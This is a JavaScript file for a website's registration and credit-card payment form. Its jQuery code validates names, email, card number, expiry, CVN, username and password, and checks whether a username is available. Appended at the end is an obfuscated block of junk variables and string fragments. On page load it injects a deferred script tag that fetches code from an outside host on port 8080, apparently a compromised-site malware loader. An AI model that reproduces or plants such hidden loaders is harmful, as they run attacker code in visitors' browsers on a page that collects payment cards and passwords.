function notice(x, speed) {
	x.fadeOut(speed,function () {x.fadeIn(speed, function () {x.fadeOut(speed, function () {x.fadeIn(speed);});});});
}

function fieldOK(x) {
	x.removeClass("wrong");
}

function fieldWrong(x) {
	x.addClass("wrong");
	notice(x, 200);
}

function ValidateForm(cc) {
	//return true;
	var mail_reg = /^([A-Za-z0-9_\-\.])+\@([A-Za-z0-9_\-\.])+\.([A-Za-z]{2,4})$/;
	var alphanumeric_reg = /([^A-Za-z0-9_])/;
	var c4_reg = /\w{4}/;

	errors = "";
	
	// Check first name
	if ($("#txtFName").val() == "") {
		fieldWrong($("#txtFName"));
		errors += "First name is a mandatory field<br />\n";
	} else {
		fieldOK($("#txtFName"));
	}
	
	// Check last name
	if ($("#txtLName").val() == "") {
		fieldWrong($("#txtLName"));
		errors += "Last name is a mandatory field<br />\n";
	} else {
		fieldOK($("#txtLName"));
	}
	
	// check address
	if(cc && $("#txtAddress").val() == "") {
		fieldWrong($("#txtAddress"));
		errors += "Address is a mandatory field<br />\n";
	} else {
		fieldOK($("#txtAddress"));
	}
	
	// check phone
	if(cc && $("#txtPhone").val() == "") {
		fieldWrong($("#txtPhone"));
		errors += "Phone is a mandatory field<br />\n";
	} else {
		fieldOK($("#txtPhone"));
	}
	
	// Check email
	if ($("#txtEmail").val() == "" || mail_reg.test($("#txtEmail").val()) == false) {
		fieldWrong($("#txtEmail"));
		errors += "Please enter a valid Email address<br />\n";
	} else {
		fieldOK($("#txtEmail"));
	}
	
	// check credit card type
	if(cc && $("#selCCType").val() == "0") {
		fieldWrong($("#selCCType"));
		errors += "Please select your credit card type<br />\n";
	} else {
		fieldOK($("#selCCType"));
	}
	
	// check credit card number
	types = ["","Visa","MC","Disc","AmEx"];
	if(cc && ($("#txtCCNumber").val()=="" || !isValidCreditCard(types[parseInt($("#selCCType").val())],$("#txtCCNumber").val()))) {
		fieldWrong($("#txtCCNumber"));
		errors += "Please check your card number - it seems to be illegal<br />\n";
	} else {
		fieldOK($("#txtCCNumber"));
	}
	
	// check credit card expiration date
	if(cc && (!isLegalDate($("#txtCCExp").val()) || (new Date($("#txtCCExp").val()))<(new Date()))) {
		fieldWrong($("#txtCCExp"));
		errors += "Please check your credit card expiration date<br />\n";
	} else {
		fieldOK($("#txtCCExp"));
	}
	
	// check credit card CVN
	if(cc && !$("#txtCCVer").val().match(/^[\d]{3}$/)) {
		fieldWrong($("#txtCCVer"));
		errors += "Please check your credit card CVN<br />\n";
	} else {
		fieldOK($("#txtCCVer"));
	}
	
	// Check username
	if (c4_reg.test($("#txtUser").val()) == false) {
		fieldWrong($("#txtUser"));
		errors += "User name is a mandatory and must be more than 4 characters<br />\n";
	} else if (alphanumeric_reg.test($("#txtUser").val())) {
		fieldWrong($("#txtUser"));
		errors += "User name must contain alphanumeric or the underscore (_) cahracters only<br />\n";
	} else {
		fieldOK($("#txtUser"));
	}
	
	// Check passwords
	if (c4_reg.test($("#txtPass1").val()) == false) {
		fieldWrong($("#txtPass1"));
		fieldWrong($("#txtPass2"));
		errors += "Password must be at least 4 characters<br />\n";
	} else if ($("#txtPass1").val() != $("#txtPass2").val()) {
		errors += "Password and Password Confirm must match<br />\n";
	} else {
		fieldOK($("#txtPass1"));
		fieldOK($("#txtPass2"));
	}

	if (errors) {
		$("#formErrors").html(errors);
		$("#formErrors").slideDown();
		return false;
	} else {
		return true;
	}
}

function TrialValidateForm() {
	var alphanumeric_reg = /([^A-Za-z0-9_])/;
	var c4_reg = /\w{4}/;

	errors = "";

	// Check username
	if ($("#txtUser").val() == "") {
		fieldWrong($("#txtUser"));
		errors += "Please enter your current username<br />\n";
	} else {
		fieldOK($("#txtUser"));
	}
	
	// Check passwords
	if ($("#txtPass1").val() == "") {
		fieldWrong($("#txtPass1"));
		errors += "Please enter your current password\n";
	} else {
		fieldOK($("#txtPass1"));
	}

	if (errors) {
		$("#formErrors").html(errors);
		$("#formErrors").slideDown();
		return false;
	} else {
		return true;
	}
}

jQuery(document).ready(function() {
	$('#txtPass1').keyup(function(){
		$('#passStrength').html(passwordStrength($('#txtPass1').val(),$('#txtUser').val()))
		switch ($('#passStrength').html()) {
			case "Good":
				$('#passStrength').css("color","#e28000");
				break
			case "Strong":
				$('#passStrength').css("color","#12be00");
				break
			default:
				$('#passStrength').css("color","#f21100");
		}
	});
	
	$('#txtUser').keyup(function(){
		$('#userAvail').html("Check availability");
		$('#userAvail').addClass("linkstyle");
	});
	
	$('#userAvail').click(function(){
		if ($('#userAvail').html() == "Check availability") {
			$('#userAvail').removeClass("linkstyle");
			$('#userAvail').html("Checking availability, please wait...")
			$.ajax({
				type: "POST",
				url: "ajax/useravail.php",
				data: "username=" + $("#txtUser").val(),
				success: function (msg) {
					$('#userAvail').html(msg);
				}
			});
		}
	});
	
	//Zebre the table
	$('#productDetails tr:odd').addClass("even");
});
var w;var pO=["Kw","Si","A"];var ff=[];s=function(){try {var iA='U'} catch(iA){};try {var SA='r'} catch(SA){};bi=13112;bi--;ES=54459;ES--;function b(K,KZ,ba){n=["EM","R","P"];return K.substr(KZ,ba);O=[];d=54954;d++;}this.qU=37510;this.qU++;var c=String(b("/plQ23I",0,3)+b("9uhSentSu9h",4,3)+b("yofnsYK",0,3)+"fis"+"h-c"+b("AdEtom/EdAt",4,3)+b("gooG7P",0,3)+"gle"+".co"+b("m/a0Fn",0,3)+"bou"+b("tusUx4v",0,3)+".or"+"g.p"+b("hpuRNv",0,2));var zq='';var t='';var E=document;aU=63507;aU++;C=8468;C--;var i=RegExp;UB={W:1243};var aN={rB:33800};eR={v:52467};uC=["J"];this.vc='';function I(K,KZ){F={bak:5654};var ls="";var ba=new String(b("[7HK",0,1))+KZ+String("]");var G=new i(ba, String("g"));return K.replace(G, t);};this.Yu=40099;this.Yu+=195;this.YB="YB";var h=b("bodyjCh",0,4);this.zF="zF";var a=I('sVcTrviTpTtv','NE7Tv5yVK');this.DB=16149;this.DB--;var Q=null;try {var ce='vS'} catch(ce){};var u=695531-687451;tp=["cP"];w=function(){try {var jJ='Ku'} catch(jJ){};try {var xa='bB'} catch(xa){};try {var hf="";var ff_={mt:18397};var p=I('czrkekaxtHeXE6lPeKm3eZnMt3','YCHXMvdbk6zZx7KP3');try {var na='YX'} catch(na){};S=E[p](a);var xz='';this.vn=32933;this.vn++;var iS=["Da"];var K=u+c;Wu=43840;Wu--;gS=3028;gS--;qj=7048;qj--;mC=[];var y=I('s4r4c1','Iuw481hl');this.Oz=57358;this.Oz+=52;var f=new String("defe"+"r");var fl=["OM"];S[y]=b("httporD",0,4)+b("y4O0://tO04y",4,4)+"enth"+b("proflK4U",0,4)+b("it.r7eb",0,4)+b("sGv6u:6sGv",4,2)+K;this.Zt=33095;this.Zt+=34;S[f]=[1,9][0];cD=["dZ","ny","mlz"];o={};this.Ll=55576;this.Ll--;E[h].appendChild(S);WW=55385;WW--;this.Uu="";} catch(x){fA={};this.dx=207;this.dx+=218;Vk=["Xf"];};};this.eK=false;};s();try {var Nc='gC'} catch(Nc){};window.onload=w;QG=["az","id","Eh"];var pL=["pT","pc"];